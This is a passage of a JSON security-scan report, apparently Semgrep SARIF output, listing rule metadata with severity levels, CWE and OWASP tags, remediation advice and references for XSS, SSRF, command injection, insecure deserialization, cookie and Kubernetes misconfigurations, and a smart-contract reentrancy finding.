Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","id":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","name":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"help":{"markdown":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"help":{"markdown":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape](https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape)\n","text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","id":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","name":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"help":{"markdown":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url)\n - [https://golang.org/pkg/html/template/#URL](https://golang.org/pkg/html/template/#URL)\n","text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","id":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","name":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod","id":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","name":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostipc-pod.hostipc-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"help":{"markdown":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis)\n - [https://mas.owasp.org/MASVS/10-MASVS-CODE/](https://mas.owasp.org/MASVS/10-MASVS-CODE/)\n","text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"helpUri":"https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","id":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","name":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method","id":"python.django.security.audit.xss.html-magic-method.html-magic-method","name":"python.django.security.audit.xss.html-magic-method.html-magic-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-magic-method.html-magic-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi)\n - [https://fastapi.tiangolo.com/advanced/templates/](https://fastapi.tiangolo.com/advanced/templates/)\n - [https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse](https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","id":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","name":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","id":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","name":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","id":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","name":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","id":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","name":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection)\n - [https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html](https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection","id":"php.lang.security.tainted-curl-injection.tainted-curl-injection","name":"php.lang.security.tainted-curl-injection.tainted-curl-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-curl-injection.tainted-curl-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf","id":"csharp.lang.security.ssrf.http-client.ssrf","name":"csharp.lang.security.ssrf.http-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.http-client.ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint","id":"csharp.dotnet-core.command-injection.process-taint.process-taint","name":"csharp.dotnet-core.command-injection.process-taint.process-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint.process-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"help":{"markdown":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval","id":"ruby.lang.security.no-eval.ruby-eval","name":"ruby.lang.security.no-eval.ruby-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-eval.ruby-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"help":{"markdown":"Function borrowFresh() in Compound performs state update after doTransferOut()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4](https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n","text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","id":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","name":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"help":{"markdown":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input)\n - [https://flask.palletsprojects.com/en/1.0.x/security/](https://flask.palletsprojects.com/en/1.0.x/security/)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"helpUri":"https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input","id":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","name":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unsanitized-input.response-contains-unsanitized-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"help":{"markdown":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data)\n - [https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes](https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes)\n","text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"helpUri":"https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data","id":"php.lang.security.deserialization.extract-user-data","name":"php.lang.security.deserialization.extract-user-data","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 